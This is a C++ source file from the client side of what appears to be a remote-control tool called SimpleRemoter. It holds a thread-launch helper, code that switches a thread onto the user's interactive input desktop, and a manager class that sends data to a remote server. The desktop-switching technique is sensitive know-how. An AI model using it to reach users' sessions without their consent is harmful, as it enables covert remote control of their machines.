Files
SimpleRemoter/client/Manager.cpp
2025-03-11 18:54:33 +08:00

166 lines
4.0 KiB
C++

// Manager.cpp: implementation of the CManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "Manager.h"
#include "IOCPClient.h"
#include <process.h>
typedef struct {
unsigned(__stdcall* start_address)(void*);
void* arglist;
bool bInteractive; // 是否支持交互桌面
HANDLE hEventTransferArg;
} THREAD_ARGLIST, * LPTHREAD_ARGLIST;
BOOL SelectDesktop(TCHAR* name);
unsigned int __stdcall ThreadLoader(LPVOID param)
{
unsigned int nRet = 0;
try {
THREAD_ARGLIST arg;
memcpy(&arg, param, sizeof(arg));
SetEvent(arg.hEventTransferArg);
// 与卓面交互
if (arg.bInteractive)
SelectDesktop(NULL);
nRet = arg.start_address(arg.arglist);
}
catch (...) {
};
return nRet;
}
HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
SIZE_T dwStackSize, // initial stack size
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
LPVOID lpParameter, // thread argument
DWORD dwCreationFlags, // creation option
LPDWORD lpThreadId, bool bInteractive)
{
HANDLE hThread = INVALID_HANDLE_VALUE;
THREAD_ARGLIST arg;
arg.start_address = (unsigned(__stdcall*)(void*))lpStartAddress;
arg.arglist = (void*)lpParameter;
arg.bInteractive = bInteractive;
arg.hEventTransferArg = CreateEvent(NULL, false, false, NULL);
hThread = (HANDLE)_beginthreadex((void*)lpThreadAttributes, dwStackSize, ThreadLoader, &arg, dwCreationFlags, (unsigned*)lpThreadId);
WaitForSingleObject(arg.hEventTransferArg, INFINITE);
CloseHandle(arg.hEventTransferArg);
return hThread;
}
BOOL SelectHDESK(HDESK new_desktop)
{
HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId());
DWORD dummy;
char new_name[256];
if (!GetUserObjectInformation(new_desktop, UOI_NAME, &new_name, 256, &dummy)) {
return FALSE;
}
// Switch the desktop
if (!SetThreadDesktop(new_desktop)) {
return FALSE;
}
// Switched successfully - destroy the old desktop
CloseDesktop(old_desktop);
return TRUE;
}
// - SelectDesktop(char *)
// Switches the current thread into a different desktop, by name
// Calling with a valid desktop name will place the thread in that desktop.
// Calling with a NULL name will place the thread in the current input desktop.
BOOL SelectDesktop(TCHAR* name)
{
HDESK desktop;
if (name != NULL) {
// Attempt to open the named desktop
desktop = OpenDesktop(name, 0, FALSE,
DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
}
else {
// No, so open the input desktop
desktop = OpenInputDesktop(0, FALSE,
DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
}
// Did we succeed?
if (desktop == NULL) {
return FALSE;
}
// Switch to the new desktop
if (!SelectHDESK(desktop)) {
// Failed to enter the new desktop, so free it!
CloseDesktop(desktop);
return FALSE;
}
// We successfully switched desktops!
return TRUE;
}
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CManager::CManager(IOCPClient* ClientObject)
{
m_bIsDead = false;
m_ClientObject = ClientObject;
m_ClientObject->setManagerCallBack(this);
m_hEventDlgOpen = CreateEvent(NULL,TRUE,FALSE,NULL);
}
CManager::~CManager()
{
if (m_hEventDlgOpen!=NULL)
{
CloseHandle(m_hEventDlgOpen);
m_hEventDlgOpen = NULL;
}
}
int CManager::Send(LPBYTE lpData, UINT nSize)
{
int nRet = 0;
try
{
nRet = m_ClientObject->OnServerSending((char*)lpData, nSize);
}catch(...){
Mprintf("[ERROR] CManager::Send catch an error \n");
};
return nRet;
}
VOID CManager::WaitForDialogOpen()
{
WaitForSingleObject(m_hEventDlgOpen, INFINITE);
//必须的Sleep,因为远程窗口从InitDialog中发送COMMAND_NEXT到显示还要一段时间
Sleep(150);
}
VOID CManager::NotifyDialogIsOpen()
{
SetEvent(m_hEventDlgOpen);
}